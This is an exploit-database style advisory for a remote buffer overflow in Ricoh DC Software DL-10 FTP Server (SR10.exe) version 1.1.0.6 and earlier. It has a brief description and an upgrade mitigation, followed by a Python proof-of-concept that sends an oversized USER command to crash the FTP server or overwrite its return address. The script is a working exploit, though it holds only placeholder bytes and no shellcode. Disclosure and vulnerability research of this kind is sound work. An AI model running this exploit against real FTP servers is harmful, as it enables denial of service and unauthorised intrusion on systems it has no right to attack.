Ricoh DC Software DL-10 FTP Server (SR10.exe)

vendor:

by:

Julien Ahrens

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Ricoh DC Software DL-10 FTP Server (SR10.exe)

Affected Version From: <= 1.1.0.6

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3 Professional German

2012

Ricoh DC Software DL-10 FTP Server (SR10.exe) <= 1.1.0.6 Remote Buffer Overflow Vulnerability

A buffer overflow vulnerability exists in Ricoh DC Software DL-10 FTP Server (SR10.exe) version <= 1.1.0.6. An attacker can send a maliciously crafted request containing a large amount of data to the FTP server, which can cause the server to crash or allow the attacker to execute arbitrary code. This vulnerability affects both Ricoh DC Software DL-10 FTP Server (SR10.exe) and Capftpd (former SR-10).

Mitigation:

Upgrade to the latest version of Ricoh DC Software DL-10 FTP Server (SR10.exe) or Capftpd (former SR-10).

Source

Exploit-DB raw data:

#!/usr/bin/python
 
# Exploit Title: Ricoh DC Software DL-10 FTP Server (SR10.exe) <= 1.1.0.6 Remote Buffer Overflow Vulnerability
# Version:       <= 1.1.0.6
# Date:          2012-02-05
# Author:        Julien Ahrens
# Homepage:      www.inshell.net
# Software Link: http://www.ricohpmmc.com
# Tested on:     Windows XP SP3 Professional German
# Notes:         Capftpd (former SR-10) is vulnerable too
# Howto:         "Log file name" has to be set

import socket,sys
import os

target="192.168.0.1"
port=21

junk1 = "\x41" * 245
boom = "\x42\x42\x42\x42" 
junk2 = "\x43" * 50

payload = junk1 + boom + junk2

print "[*] Connecting to Target " + target + "..."

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    connect=s.connect((target, port))
    print "[*] Connected to " + target + "!"
except:
    print "[!] " + target + " didn't respond\n"
    sys.exit(0)
    
s.recv(1024)
print "[*] Sending malformed request..."
s.send('USER ' + payload + '\r\n')

print "[!] Exploit has been sent!\n"
s.close()